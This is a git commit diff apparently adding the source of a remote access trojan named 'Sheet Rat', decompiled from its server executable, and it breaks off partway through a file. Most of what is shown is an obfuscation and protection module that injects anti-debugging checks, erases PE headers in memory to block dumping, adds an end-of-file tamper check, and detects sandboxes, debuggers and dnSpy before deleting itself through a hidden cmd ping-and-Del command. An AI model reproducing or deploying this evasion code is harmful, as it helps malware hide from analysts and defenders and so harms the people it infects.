commit faef36ee57b65c4f5e0773fe7c073eecebc4dd0c Author: i2p Date: Thu Aug 27 11:23:25 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..10c5430 Binary files /dev/null and b/.DS_Store differ diff --git a/Server/.vs/Server/CopilotIndices/17.14.734.62261/CodeChunks.db b/Server/.vs/Server/CopilotIndices/17.14.734.62261/CodeChunks.db new file mode 100644 index 0000000..8d1b9c1 Binary files /dev/null and b/Server/.vs/Server/CopilotIndices/17.14.734.62261/CodeChunks.db differ diff --git a/Server/.vs/Server/CopilotIndices/17.14.734.62261/SemanticSymbols.db b/Server/.vs/Server/CopilotIndices/17.14.734.62261/SemanticSymbols.db new file mode 100644 index 0000000..db5e446 Binary files /dev/null and b/Server/.vs/Server/CopilotIndices/17.14.734.62261/SemanticSymbols.db differ diff --git a/Server/.vs/Server/FileContentIndex/16859d1b-6aac-439b-b5e7-7cfbb8262391.vsidx b/Server/.vs/Server/FileContentIndex/16859d1b-6aac-439b-b5e7-7cfbb8262391.vsidx new file mode 100644 index 0000000..13caa3c Binary files /dev/null and b/Server/.vs/Server/FileContentIndex/16859d1b-6aac-439b-b5e7-7cfbb8262391.vsidx differ diff --git a/Server/.vs/Server/FileContentIndex/b3e8763f-d37b-43d6-b5fa-3710bb52396b.vsidx b/Server/.vs/Server/FileContentIndex/b3e8763f-d37b-43d6-b5fa-3710bb52396b.vsidx new file mode 100644 index 0000000..69d6519 Binary files /dev/null and b/Server/.vs/Server/FileContentIndex/b3e8763f-d37b-43d6-b5fa-3710bb52396b.vsidx differ diff --git a/Server/.vs/Server/v17/.suo b/Server/.vs/Server/v17/.suo new file mode 100644 index 0000000..5a4e5f8 Binary files /dev/null and b/Server/.vs/Server/v17/.suo differ diff --git a/Server/.vs/Server/v17/DocumentLayout.backup.json b/Server/.vs/Server/v17/DocumentLayout.backup.json new file mode 100644 index 0000000..e8417c6 --- /dev/null +++ b/Server/.vs/Server/v17/DocumentLayout.backup.json @@ -0,0 +1,41 @@ +{ + "Version": 1, + "WorkspaceRootPath": "C:\\Users\\Admin\\Desktop\\Server\\", + "Documents": [ + { + "AbsoluteMoniker": "D:0:0:{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}|Server.csproj|c:\\users\\admin\\desktop\\server\\server\\connection\\clients.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}|Server.csproj|solutionrelative:server\\connection\\clients.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + } + ], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [ + { + "DockedWidth": 200, + "SelectedChildIndex": 0, + "Children": [ + { + "$type": "Document", + "DocumentIndex": 0, + "Title": "Clients.cs", + "DocumentMoniker": "C:\\Users\\Admin\\Desktop\\Server\\Server\\Connection\\Clients.cs", + "RelativeDocumentMoniker": "Server\\Connection\\Clients.cs", + "ToolTip": "C:\\Users\\Admin\\Desktop\\Server\\Server\\Connection\\Clients.cs*", + "RelativeToolTip": "Server\\Connection\\Clients.cs*", + "ViewState": "AgIAACEBAAAAAAAAAAArwC8BAAAQAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2025-06-17T08:04:29.777Z", + "EditorCaption": "" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{cce594b6-0c39-4442-ba28-10c64ac7e89f}" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/Server/.vs/Server/v17/DocumentLayout.json b/Server/.vs/Server/v17/DocumentLayout.json new file mode 100644 index 0000000..1d25cac --- /dev/null +++ b/Server/.vs/Server/v17/DocumentLayout.json @@ -0,0 +1,41 @@ +{ + "Version": 1, + "WorkspaceRootPath": "C:\\Users\\Admin\\Desktop\\Server\\", + "Documents": [ + { + "AbsoluteMoniker": "D:0:0:{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}|Server.csproj|c:\\users\\admin\\desktop\\server\\server\\connection\\clients.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}|Server.csproj|solutionrelative:server\\connection\\clients.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + } + ], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [ + { + "DockedWidth": 200, + "SelectedChildIndex": 0, + "Children": [ + { + "$type": "Document", + "DocumentIndex": 0, + "Title": "Clients.cs", + "DocumentMoniker": "C:\\Users\\Admin\\Desktop\\Server\\Server\\Connection\\Clients.cs", + "RelativeDocumentMoniker": "Server\\Connection\\Clients.cs", + "ToolTip": "C:\\Users\\Admin\\Desktop\\Server\\Server\\Connection\\Clients.cs", + "RelativeToolTip": "Server\\Connection\\Clients.cs", + "ViewState": "AgIAACEBAAAAAAAAAAArwC8BAAAQAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2025-06-17T08:04:29.777Z", + "EditorCaption": "" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{cce594b6-0c39-4442-ba28-10c64ac7e89f}" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/Server/AssemblyInfo.cs b/Server/AssemblyInfo.cs new file mode 100644 index 0000000..4c0b2cd --- /dev/null +++ b/Server/AssemblyInfo.cs @@ -0,0 +1,18 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Security.Permissions; + + +[assembly: AssemblyTitle("Sheet Rat")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Sheet Rat")] +[assembly: AssemblyCopyright("Copyright © 2023")] +[assembly: AssemblyTrademark("")] +[assembly: ComVisible(false)] +[assembly: Guid("2cd9686b-7867-4e8d-b470-4989d6fe37f1")] +[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/Server/MindLated/Protection/Anti/AntiDe4dot.cs b/Server/MindLated/Protection/Anti/AntiDe4dot.cs new file mode 100644 index 0000000..c6f4af2 --- /dev/null +++ b/Server/MindLated/Protection/Anti/AntiDe4dot.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Anti.AntiDe4dot +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using System.Collections.Generic; + +//#nullable disable +namespace MindLated.Protection.Anti { + +internal class AntiDe4dot +{ + public static void Execute(AssemblyDef mod) + { + foreach (ModuleDef module in (IEnumerable) mod.Modules) + { + InterfaceImplUser interfaceImplUser1 = new InterfaceImplUser((ITypeDefOrRef) module.GlobalType); + for (int index = 0; index < 1; ++index) + { + TypeDefUser @interface = new TypeDefUser((UTF8String) string.Empty, (UTF8String) string.Format("Form{0}", index), (ITypeDefOrRef) module.CorLibTypes.GetTypeRef("System", "Attribute")); + InterfaceImplUser interfaceImplUser2 = new InterfaceImplUser((ITypeDefOrRef) @interface); + module.Types.Add((TypeDef) @interface); + @interface.Interfaces.Add((InterfaceImpl) interfaceImplUser2); + @interface.Interfaces.Add((InterfaceImpl) interfaceImplUser1); + } + } + } +} +} + + diff --git a/Server/MindLated/Protection/Anti/AntiDebug.cs b/Server/MindLated/Protection/Anti/AntiDebug.cs new file mode 100644 index 0000000..95011f0 --- /dev/null +++ b/Server/MindLated/Protection/Anti/AntiDebug.cs @@ -0,0 +1,38 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Anti.AntiDebug +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Anti.Runtime; +using MindLated.Services; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; + +//#nullable disable +namespace MindLated.Protection.Anti { + +public static class AntiDebug +{ + public static void Execute(ModuleDef module) + { + ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (AntiDebugSafe).Module); + MethodDef staticConstructor = module.GlobalType.FindOrCreateStaticConstructor(); + int rid = (int) MDToken.ToRID(typeof (AntiDebugSafe).MetadataToken); + MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), module.GlobalType, module).Single((Func) (method => method.Name == "Initialize")); + staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef)); + foreach (MethodDef method in (IEnumerable) module.GlobalType.Methods) + { + if (!(method.Name != ".ctor")) + { + module.GlobalType.Remove(method); + break; + } + } + } +} +} diff --git a/Server/MindLated/Protection/Anti/AntiDump.cs b/Server/MindLated/Protection/Anti/AntiDump.cs new file mode 100644 index 0000000..fd547ba --- /dev/null +++ b/Server/MindLated/Protection/Anti/AntiDump.cs @@ -0,0 +1,38 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Anti.AntiDump +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Anti.Runtime; +using MindLated.Services; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; + +//#nullable disable +namespace MindLated.Protection.Anti { + +internal class AntiDump +{ + public static void Execute(ModuleDef mod) + { + ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (AntiDumpRun).Module); + MethodDef staticConstructor = mod.GlobalType.FindOrCreateStaticConstructor(); + int rid = (int) MDToken.ToRID(typeof (AntiDumpRun).MetadataToken); + MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), mod.GlobalType, mod).Single((Func) (method => method.Name == "Initialize")); + staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef)); + foreach (MethodDef method in (IEnumerable) mod.GlobalType.Methods) + { + if (!(method.Name != ".ctor")) + { + mod.GlobalType.Remove(method); + break; + } + } + } +} +} diff --git a/Server/MindLated/Protection/Anti/AntiTamper.cs b/Server/MindLated/Protection/Anti/AntiTamper.cs new file mode 100644 index 0000000..3441efa --- /dev/null +++ b/Server/MindLated/Protection/Anti/AntiTamper.cs @@ -0,0 +1,47 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Anti.AntiTamper +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Anti.Runtime; +using MindLated.Services; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; + +//#nullable disable +namespace MindLated.Protection.Anti { + +public static class AntiTamper +{ + public static void Sha256(string filePath) + { + byte[] hash = SHA256.Create().ComputeHash(File.ReadAllBytes(filePath)); + using (FileStream fileStream = new FileStream(filePath, FileMode.Append)) + fileStream.Write(hash, 0, hash.Length); + } + + public static void Execute(ModuleDef module) + { + ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (EofAntiTamper).Module); + MethodDef staticConstructor = module.GlobalType.FindOrCreateStaticConstructor(); + int rid = (int) MDToken.ToRID(typeof (EofAntiTamper).MetadataToken); + MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), module.GlobalType, module).Single((Func) (method => method.Name == "Initializer")); + staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef)); + foreach (MethodDef method in (IEnumerable) module.GlobalType.Methods) + { + if (!(method.Name != ".ctor")) + { + module.GlobalType.Remove(method); + break; + } + } + } +} +} diff --git a/Server/MindLated/Protection/Anti/Antimanything.cs b/Server/MindLated/Protection/Anti/Antimanything.cs new file mode 100644 index 0000000..96dc2a5 --- /dev/null +++ b/Server/MindLated/Protection/Anti/Antimanything.cs @@ -0,0 +1,38 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Anti.Antimanything +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Anti.Runtime; +using MindLated.Services; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; + +//#nullable disable +namespace MindLated.Protection.Anti { + +internal class Antimanything +{ + public static void Execute(ModuleDef module) + { + ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (SelfDeleteClass).Module); + MethodDef staticConstructor = module.GlobalType.FindOrCreateStaticConstructor(); + int rid = (int) MDToken.ToRID(typeof (SelfDeleteClass).MetadataToken); + MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), module.GlobalType, module).Single((Func) (method => method.Name == "Init")); + staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef)); + foreach (MethodDef method in (IEnumerable) module.GlobalType.Methods) + { + if (!(method.Name != ".ctor")) + { + module.GlobalType.Remove(method); + break; + } + } + } +} +} diff --git a/Server/MindLated/Protection/Anti/Runtime/AntiDebugSafe.cs b/Server/MindLated/Protection/Anti/Runtime/AntiDebugSafe.cs new file mode 100644 index 0000000..9919c68 --- /dev/null +++ b/Server/MindLated/Protection/Anti/Runtime/AntiDebugSafe.cs @@ -0,0 +1,64 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Anti.Runtime.AntiDebugSafe +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Diagnostics; +using System.Runtime.InteropServices; + +//#nullable disable +namespace MindLated.Protection.Anti.Runtime { + +internal static class AntiDebugSafe +{ + [DllImport("ntdll.dll", CharSet = CharSet.Auto)] + private static extern int NtQueryInformationProcess( + IntPtr test, + int test2, + int[] test3, + int test4, + ref int test5); + + private static void Initialize() + { + if (Debugger.IsLogging()) + Environment.Exit(0); + if (Debugger.IsAttached) + Environment.Exit(0); + if (Environment.GetEnvironmentVariable("complus_profapi_profilercompatibilitysetting") != null) + Environment.Exit(0); + if (string.Compare(Environment.GetEnvironmentVariable("COR_ENABLE_PROFILING"), "1", StringComparison.Ordinal) == 0) + Environment.Exit(0); + if (Environment.OSVersion.Platform != PlatformID.Win32NT) + return; + int[] test3 = new int[6]; + int test5 = 0; + IntPtr handle = Process.GetCurrentProcess().Handle; + if (AntiDebugSafe.NtQueryInformationProcess(handle, 31 /*0x1F*/, test3, 4, ref test5) == 0 && test3[0] != 1) + Environment.Exit(0); + if (AntiDebugSafe.NtQueryInformationProcess(handle, 30, test3, 4, ref test5) == 0 && test3[0] != 0) + Environment.Exit(0); + if (AntiDebugSafe.NtQueryInformationProcess(handle, 0, test3, 24, ref test5) != 0) + return; + IntPtr ptr1 = Marshal.ReadIntPtr(Marshal.ReadIntPtr((IntPtr) test3[1], 12), 12); + Marshal.WriteInt32(ptr1, 32 /*0x20*/, 0); + IntPtr num1 = Marshal.ReadIntPtr(ptr1, 0); + IntPtr ptr2 = num1; + do + { + ptr2 = Marshal.ReadIntPtr(ptr2, 0); + if (Marshal.ReadInt32(ptr2, 44) == 1572886 && Marshal.ReadInt32(Marshal.ReadIntPtr(ptr2, 48 /*0x30*/), 0) == 7536749) + { + IntPtr num2 = Marshal.ReadIntPtr(ptr2, 8); + IntPtr num3 = Marshal.ReadIntPtr(ptr2, 12); + Marshal.WriteInt32(num3, 0, (int) num2); + Marshal.WriteInt32(num2, 4, (int) num3); + } + } + while (!ptr2.Equals((object) num1)); + } +} +} diff --git a/Server/MindLated/Protection/Anti/Runtime/AntiDumpRun.cs b/Server/MindLated/Protection/Anti/Runtime/AntiDumpRun.cs new file mode 100644 index 0000000..d161199 --- /dev/null +++ b/Server/MindLated/Protection/Anti/Runtime/AntiDumpRun.cs @@ -0,0 +1,257 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Anti.Runtime.AntiDumpRun +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Reflection; +using System.Runtime.InteropServices; + +//#nullable disable +namespace MindLated.Protection.Anti.Runtime { + +internal class AntiDumpRun +{ + private static unsafe void CopyBlock(void* destination, void* source, uint byteCount) + { + } + + private static unsafe void InitBlock(void* startAddress, byte value, uint byteCount) + { + } + + [DllImport("kernel32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool VirtualProtect( + IntPtr lpAddress, + uint dwSize, + [MarshalAs(UnmanagedType.U4)] AntiDumpRun.MemoryProtection flNewProtect, + [MarshalAs(UnmanagedType.U4)] out AntiDumpRun.MemoryProtection lpflOldProtect); + + private static unsafe void Initialize() + { + Module module = typeof (AntiDumpRun).Module; + byte* hinstance = (byte*) (void*) Marshal.GetHINSTANCE(module); + byte* numPtr1 = hinstance + 60; + byte* numPtr2 = hinstance + *(uint*) numPtr1 + 6; + ushort length = *(ushort*) numPtr2; + byte* numPtr3 = numPtr2 + 14; + ushort num1 = *(ushort*) numPtr3; + byte* numPtr4 = numPtr3 + 4 + (int) num1; + byte* source = stackalloc byte[11]; + if (module.FullyQualifiedName[0] != '<') + { + byte* startAddress = hinstance + *(uint*) (numPtr4 - 16 /*0x10*/); + AntiDumpRun.MemoryProtection lpflOldProtect; + if (*(uint*) (numPtr4 - 120) != 0U) + { + byte* numPtr5 = hinstance + *(uint*) (numPtr4 - 120); + byte* numPtr6 = hinstance + *(uint*) numPtr5; + byte* destination1 = hinstance + *(uint*) (numPtr5 + 12); + byte* destination2 = hinstance + *(uint*) numPtr6 + 2; + AntiDumpRun.VirtualProtect(new IntPtr((void*) destination1), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + *(int*) source = 1818522734; + *(int*) (source + 4) = 1818504812; + // *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 108; + *(short*) (source + 8) = (short) 108; + source[10] = (byte) 0; + AntiDumpRun.CopyBlock((void*) destination1, (void*) source, 11U); + AntiDumpRun.VirtualProtect(new IntPtr((void*) destination2), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + *(int*) source = 1866691662; + *(int*) (source + 4) = 1852404846; + // *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 25973; + *(short*) (source + 8) = (short) 25973; + source[10] = (byte) 0; + AntiDumpRun.CopyBlock((void*) destination2, (void*) source, 11U); + } + for (int index = 0; index < (int) length; ++index) + { + AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr4), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + AntiDumpRun.InitBlock((void*) numPtr4, (byte) 0, 8U); + numPtr4 += 40; + } + AntiDumpRun.VirtualProtect(new IntPtr((void*) startAddress), 72U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + byte* numPtr7 = hinstance + *(uint*) (startAddress + 8); + AntiDumpRun.InitBlock((void*) startAddress, (byte) 0, 16U /*0x10*/); + AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr7), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + *(int*) numPtr7 = 0; + byte* numPtr8 = numPtr7 + 12; + byte* numPtr9 = (byte*) ((ulong) (numPtr8 + *(uint*) numPtr8) + 7UL & 18446744073709551612UL) + 2; + ushort num2 = (ushort) *numPtr9; + byte* numPtr10 = numPtr9 + 2; + for (int index1 = 0; index1 < (int) num2; ++index1) + { + AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr10), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + numPtr10 = numPtr10 + 4 + 4; + for (int index2 = 0; index2 < 8; ++index2) + { + AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr10), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + *numPtr10 = (byte) 0; + byte* numPtr11 = numPtr10 + 1; + if (*numPtr11 == (byte) 0) + { + numPtr10 = numPtr11 + 3; + break; + } + *numPtr11 = (byte) 0; + byte* numPtr12 = numPtr11 + 1; + if (*numPtr12 == (byte) 0) + { + numPtr10 = numPtr12 + 2; + break; + } + *numPtr12 = (byte) 0; + byte* numPtr13 = numPtr12 + 1; + if (*numPtr13 == (byte) 0) + { + numPtr10 = numPtr13 + 1; + break; + } + *numPtr13 = (byte) 0; + numPtr10 = numPtr13 + 1; + } + } + } + else + { + uint num3 = *(uint*) (numPtr4 - 16 /*0x10*/); + uint num4 = *(uint*) (numPtr4 - 120); + uint[] numArray1 = new uint[(int) length]; + uint[] numArray2 = new uint[(int) length]; + uint[] numArray3 = new uint[(int) length]; + AntiDumpRun.MemoryProtection lpflOldProtect; + for (int index = 0; index < (int) length; ++index) + { + AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr4), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + Marshal.Copy(new byte[8], 0, (IntPtr) (void*) numPtr4, 8); + numArray1[index] = *(uint*) (numPtr4 + 12); + numArray2[index] = *(uint*) (numPtr4 + 8); + numArray3[index] = *(uint*) (numPtr4 + 20); + numPtr4 += 40; + } + if (num4 != 0U) + { + for (int index = 0; index < (int) length; ++index) + { + if (numArray1[index] <= num4 && num4 < numArray1[index] + numArray2[index]) + { + num4 = num4 - numArray1[index] + numArray3[index]; + break; + } + } + byte* numPtr14 = hinstance + num4; + uint num5 = *(uint*) numPtr14; + for (int index = 0; index < (int) length; ++index) + { + if (numArray1[index] <= num5 && num5 < numArray1[index] + numArray2[index]) + { + num5 = num5 - numArray1[index] + numArray3[index]; + break; + } + } + byte* numPtr15 = hinstance + num5; + uint num6 = *(uint*) (numPtr14 + 12); + for (int index = 0; index < (int) length; ++index) + { + if (numArray1[index] <= num6 && num6 < numArray1[index] + numArray2[index]) + { + num6 = num6 - numArray1[index] + numArray3[index]; + break; + } + } + uint num7 = *(uint*) numPtr15 + 2U; + for (int index = 0; index < (int) length; ++index) + { + if (numArray1[index] <= num7 && num7 < numArray1[index] + numArray2[index]) + { + num7 = num7 - numArray1[index] + numArray3[index]; + break; + } + } + AntiDumpRun.VirtualProtect(new IntPtr((void*) (hinstance + num6)), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + *(int*) source = 1818522734; + *(int*) (source + 4) = 1818504812; + // *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 108; + *(short*) (source + 8) = (short) 108; + source[10] = (byte) 0; + AntiDumpRun.CopyBlock((void*) (hinstance + num6), (void*) source, 11U); + AntiDumpRun.VirtualProtect(new IntPtr((void*) (hinstance + num7)), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + *(int*) source = 1866691662; + *(int*) (source + 4) = 1852404846; + // *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 25973; + *(short*) (source + 8) = (short) 25973; + source[10] = (byte) 0; + AntiDumpRun.CopyBlock((void*) (hinstance + num7), (void*) source, 11U); + } + for (int index = 0; index < (int) length; ++index) + { + if (numArray1[index] <= num3 && num3 < numArray1[index] + numArray2[index]) + { + num3 = num3 - numArray1[index] + numArray3[index]; + break; + } + } + byte* startAddress = hinstance + num3; + AntiDumpRun.VirtualProtect(new IntPtr((void*) startAddress), 72U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + uint num8 = *(uint*) (startAddress + 8); + for (int index = 0; index < (int) length; ++index) + { + if (numArray1[index] <= num8 && num8 < numArray1[index] + numArray2[index]) + { + num8 = num8 - numArray1[index] + numArray3[index]; + break; + } + } + AntiDumpRun.InitBlock((void*) startAddress, (byte) 0, 16U /*0x10*/); + byte* numPtr16 = hinstance + num8; + AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr16), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + *(int*) numPtr16 = 0; + byte* numPtr17 = numPtr16 + 12; + byte* numPtr18 = (byte*) ((ulong) (numPtr17 + *(uint*) numPtr17) + 7UL & 18446744073709551612UL) + 2; + ushort num9 = (ushort) *numPtr18; + byte* numPtr19 = numPtr18 + 2; + for (int index3 = 0; index3 < (int) num9; ++index3) + { + AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr19), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + numPtr19 = numPtr19 + 4 + 4; + for (int index4 = 0; index4 < 8; ++index4) + { + AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr19), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect); + *numPtr19 = (byte) 0; + byte* numPtr20 = numPtr19 + 1; + if (*numPtr20 == (byte) 0) + { + numPtr19 = numPtr20 + 3; + break; + } + *numPtr20 = (byte) 0; + byte* numPtr21 = numPtr20 + 1; + if (*numPtr21 == (byte) 0) + { + numPtr19 = numPtr21 + 2; + break; + } + *numPtr21 = (byte) 0; + byte* numPtr22 = numPtr21 + 1; + if (*numPtr22 == (byte) 0) + { + numPtr19 = numPtr22 + 1; + break; + } + *numPtr22 = (byte) 0; + numPtr19 = numPtr22 + 1; + } + } + } + } + + internal enum MemoryProtection + { + ExecuteReadWrite = 64, // 0x00000040 + } +} +} + + diff --git a/Server/MindLated/Protection/Anti/Runtime/EofAntiTamper.cs b/Server/MindLated/Protection/Anti/Runtime/EofAntiTamper.cs new file mode 100644 index 0000000..f0d3737 --- /dev/null +++ b/Server/MindLated/Protection/Anti/Runtime/EofAntiTamper.cs @@ -0,0 +1,36 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Anti.Runtime.EofAntiTamper +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Security.Cryptography; + +//#nullable disable +namespace MindLated.Protection.Anti.Runtime { + +internal class EofAntiTamper +{ + private static void Initializer() + { + string location = Assembly.GetExecutingAssembly().Location; + Stream baseStream = new StreamReader(location).BaseStream; + BinaryReader binaryReader = new BinaryReader(baseStream); + string str1 = BitConverter.ToString(SHA256.Create().ComputeHash(binaryReader.ReadBytes(File.ReadAllBytes(location).Length - 32 /*0x20*/))); + baseStream.Seek(-32L, SeekOrigin.End); + string str2 = BitConverter.ToString(binaryReader.ReadBytes(32 /*0x20*/)); + if (!(str1 != str2)) + return; + Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"") + { + WindowStyle = ProcessWindowStyle.Hidden + })?.Dispose(); + Process.GetCurrentProcess().Kill(); + } +} +} diff --git a/Server/MindLated/Protection/Anti/Runtime/SelfDeleteClass.cs b/Server/MindLated/Protection/Anti/Runtime/SelfDeleteClass.cs new file mode 100644 index 0000000..d57bac8 --- /dev/null +++ b/Server/MindLated/Protection/Anti/Runtime/SelfDeleteClass.cs @@ -0,0 +1,136 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Anti.Runtime.SelfDeleteClass +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Collections; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Text; + +//#nullable disable +namespace MindLated.Protection.Anti.Runtime { + +internal class SelfDeleteClass +{ + public static void Init() + { + if (SelfDeleteClass.IsSandboxie()) + SelfDeleteClass.SelfDelete(); + if (SelfDeleteClass.IsDebugger()) + SelfDeleteClass.SelfDelete(); + if (!SelfDeleteClass.IsdnSpyRun()) + return; + SelfDeleteClass.SelfDelete(); + } + + private static bool IsSandboxie() => SelfDeleteClass.IsDetected(); + + private static bool IsDebugger() => SelfDeleteClass.Run(); + + private static bool IsdnSpyRun() => SelfDeleteClass.ValueType(); + + private static void SelfDelete() + { + Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"") + { + WindowStyle = 